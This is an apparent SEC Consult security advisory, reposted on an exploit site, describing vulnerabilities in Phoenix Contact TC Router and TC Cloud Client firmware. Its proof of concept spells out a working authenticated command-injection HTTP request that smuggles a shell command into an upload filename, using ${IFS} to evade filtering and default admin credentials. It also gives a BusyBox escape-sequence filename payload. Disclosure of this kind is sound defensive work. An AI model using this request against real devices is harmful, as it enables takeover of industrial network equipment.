## https://sploitus.com/exploit?id=1337DAY-ID-34094
=======================================================================
title: Authenticated Command Injection
product: Phoenix Contact TC Router & TC Cloud Client
vulnerable version: <=2.05.3 & <=2.03.17 & <=1.03.17
fixed version: 2.05.4 & 2.03.18 & 1.03.18
CVE number: CVE-2020-9436, CVE-2020-9435
impact: High
homepage: https://www.phoenixcontact.com/
found: 2020-01-23
by: T. Weber (Office Vienna)
=======================================================================
Vendor description:
-------------------
"Phoenix Contact is a globally present, Germany-based market leader. Our group
is synonymous with future-oriented components, systems, and solutions in the
fields of electrical engineering, electronics, and automation. A global network
across more than 100 countries and 15,000 employees ensure close proximity to
our customers, which we believe is particularly important."
Source:
https://www.phoenixcontact.com/online/portal/pc?1dmy&urile=wcm%3apath%3a/pcen/web/corporate/company/subcategory_pages/Who_we_are/
Business recommendation:
------------------------
The vendor provides a patch which should be installed immediately.
SEC Consult recommends to perform a thorough security review of these products
conducted by security professionals to identify and resolve all security issues.
Vulnerability overview/description:
-----------------------------------
1) Known BusyBox Vulnerabilities
The used BusyBox toolkit in version 1.18.5 is outdated and contains multiple
known vulnerabilities. The outdated version was found by IoT Inspector.
One of the discovered vulnerabilities (CVE-2017-16544) was verified by using
the MEDUSA scalable firmware runtime.
2) Authenticated Command Injection (CVE-2020-9436)
An authenticated command injection vulnerability can be triggered by issuing a
POST request to the "/cgi-bin/p/adm/cfg" CGI program which is available on the
web interface. An attacker can abuse this vulnerability to compromise the
operating system of the device. This issue was found by emulating the firmware
of the device.
3) Embedded Private X.509 Certificate (CVE-2020-9435)
The device contains a hardcoded certificate which can be used to run the web
service. This certificate is used for HTTPS (default server certificate for
web based configuration and management).
Impersonation, man-in-the-middle or passive decryption attacks are possible.
These attacks allow an attacker to gain access to sensitive information like
admin credentials and use them in further attacks.
Proof of concept:
-----------------
1) Known BusyBox Vulnerabilities
BusyBox version 1.18.5 contains multiple CVEs like:
CVE-2016-6301, CVE-2014-9645 and CVE-2013-1813.
The BusyBox shell autocompletion vulnerability (CVE-2017-16544) was verified on
an emulated device:
A file with the name "\ectest\n\e]55;test.txt\a" was created to trigger the
vulnerability.
-------------------------------------------------------------------------------
# ls "pressing <TAB>"
test
]55;test.txt
#
-------------------------------------------------------------------------------
2) Authenticated Command Injection (CVE-2020-9436)
An authenticated command injection is possible via a crafted POST request.
The configuration upload form in the web-interface can be used to upload an XML
configuration file. The filename of this XML file can be modified with an
interceptor proxy in order to inject system commands. The JavaScript code which
is used to do client-side filtering can be bypassed in this way. Because of
blacklisting of some characters, the ${IFS} command must be used for adding
whitespaces.
Request:
-------------------------------------------------------------------------------
POST /cgi-bin/p/adm/cfg HTTP/1.1
Host: $IP
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------10834433251208329385252513488
Content-Length: 724
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: no-transform
-----------------------------10834433251208329385252513488
Content-Disposition: form-data; name="exportmode"
0
-----------------------------10834433251208329385252513488
Content-Disposition: form-data; name="xmlmode"
on
-----------------------------10834433251208329385252513488
Content-Disposition: form-data; name="importmode"
0
-----------------------------10834433251208329385252513488
Content-Disposition: form-data; name="cfg_upload"; filename="config.xml;ls${IFS}-la"
Content-Type: application/octet-stream
text
-----------------------------10834433251208329385252513488
Content-Disposition: form-data; name="cfg_submit"
-----------------------------10834433251208329385252513488--
Response from the web-server:
HTTP/1.0 200 OK
Content-Type: text/html
Cache-Control: no-cache
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8"><meta http-equiv="Cache-Control" content="no-cache">
<style>
/* CSS main */
body
{
font-family: verdana, arial, helvetica, sans-serif;
font-size: 12px;
}
[...snip...]
.TextWarning
{
vertical-align: middle;
color: #FF4000;
}
</style>
<title>Configuration up-/download</title>
</head>
<body>
<pre>xml parsed
setup new config done
total 499
drwxr-xr-x 2 root root 1024 Jan 28 2020 .
drwxr-xr-x 3 root root 1024 Jan 28 2020 ..
-rwxr-xr-x 1 root root 5544 Jan 28 2020 atcmd
-rwxr-xr-x 1 root root 9624 Jan 28 2020 basicsetup
-rwxr-xr-x 1 root root 9012 Jan 28 2020 cfg
-rwxr-xr-x 1 root root 7396 Jan 28 2020 conchk
-rwxr-xr-x 1 root root 9128 Jan 28 2020 ddns
-rwxr-xr-x 1 root root 14504 Jan 28 2020 dhcp
-rwxr-xr-x 1 root root 4776 Jan 28 2020 dmesg
-rwxr-xr-x 1 root root 6040 Jan 28 2020 edit_email
-rwxr-xr-x 1 root root 6648 Jan 28 2020 edit_sms
-rwxr-xr-x 1 root root 18288 Jan 28 2020 fw
-rwxr-xr-x 1 root root 10560 Jan 28 2020 gprs
-rwxr-xr-x 1 root root 12268 Jan 28 2020 gsm
-rwxr-xr-x 1 root root 6784 Jan 28 2020 gsmlog
-rwxr-xr-x 1 root root 11172 Jan 28 2020 io
-rwxr-xr-x 1 root root 9812 Jan 28 2020 ipscert
-rwxr-xr-x 1 root root 7604 Jan 28 2020 ipscon
-rwxr-xr-x 1 root root 9928 Jan 28 2020 ipsike
-rwxr-xr-x 1 root root 16728 Jan 28 2020 ipsset
-rwxr-xr-x 1 root root 13808 Jan 28 2020 lanif
-rwxr-xr-x 1 root root 5528 Jan 28 2020 leases
-rwxr-xr-x 1 root root 6512 Jan 28 2020 log
-rwxr-xr-x 1 root root 9656 Jan 28 2020 masqtbl
-rwxr-xr-x 1 root root 5313 Jan 28 2020 mdmupl
-rwxr-xr-x 1 root root 17912 Jan 28 2020 napt
-rwxr-xr-x 1 root root 7704 Jan 28 2020 ovpnadvanced
-rwxr-xr-x 1 root root 9656 Jan 28 2020 ovpncert
-rwxr-xr-x 1 root root 6524 Jan 28 2020 ovpncon
-rwxr-xr-x 1 root root 7856 Jan 28 2020 ovpnkey
-rwxr-xr-x 1 root root 13012 Jan 28 2020 ovpnnapt
-rwxr-xr-x 1 root root 19732 Jan 28 2020 ovpntunnel
-rwxr-xr-x 1 root root 4760 Jan 28 2020 phonebook
-rwxr-xr-x 1 root root 8284 Jan 28 2020 reboot
-rwxr-xr-x 1 root root 5956 Jan 28 2020 routes
-rwxr-xr-x 1 root root 10840 Jan 28 2020 rtc
-rwxr-xr-x 1 root root 6928 Jan 28 2020 security
-rwxr-xr-x 1 root root 17860 Jan 28 2020 sim
-rwxr-xr-x 1 root root 7080 Jan 28 2020 sms
-rwxr-xr-x 1 root root 7960 Jan 28 2020 smtp
-rwxr-xr-x 1 root root 7048 Jan 28 2020 snmp
-rwxr-xr-x 1 root root 5964 Jan 28 2020 socksrv
-rwxr-xr-x 1 root root 9632 Jan 28 2020 sroute
-rwxr-xr-x 1 root root 14668 Jan 28 2020 srvfw
-rwxr-xr-x 1 root root 5456 Jan 28 2020 sshconfig
-rwxr-xr-x 1 root root 11224 Jan 28 2020 sysconfig
-rwxr-xr-x 1 root root 19996 Jan 28 2020 test
-rwxr-xr-x 1 root root 4712 Jan 28 2020 update
-rwxr-xr-x 1 root root 73 Jan 28 2020 upload
-rwxr-xr-x 1 root root 30 Jan 28 2020 upremove
-rwxr-xr-x 1 root root 7132 Jan 28 2020 user
-rwxr-xr-x 1 root root 9672 Jan 28 2020 webcert
-rwxr-xr-x 1 root root 10932 Jan 28 2020 webconfig
</pre><pre>please reboot next</pre>
</body>
</html>
3) Embedded Private X.509 Certificate (CVE-2020-9435)
The X.509 certificate was found on more than one device on Censys.io:
SHA256 fingerprint: 8ca503b99f7eadc839747dfe612b256efcdc4e01bbf5757c0fb663e5a22836b8
Vulnerable / tested versions:
-----------------------------
The following firmware version has been tested:
* TC Router 3002T-4G ATT / 2.05.3
* TC Cloud Client 1002-TX/TX / 1.03.17
According to the vendor, the following devices are affected as well:
Article name Article number Affected versions
TC ROUTER 3002T-4G 2702528 <= 2.05.3
TC ROUTER 3002T-4G 2702530 <= 2.05.3
TC ROUTER 2002T-3G 2702529 <= 2.05.3
TC ROUTER 2002T-3G 2702531 <= 2.05.3
TC ROUTER 3002T-4G VZW 2702532 <= 2.05.3
TC ROUTER 3002T-4G ATT 2702533 <= 2.05.3
TC CLOUD CLIENT 1002-4G 2702886 <= 2.03.17
TC CLOUD CLIENT 1002-4G VZW 2702887 <= 2.03.17
TC CLOUD CLIENT 1002-4G ATT 2702888 <= 2.03.17
TC CLOUD CLIENT 1002-TXTX 2702885 <= 1.03.17
# 0day.today [2020-03-15] #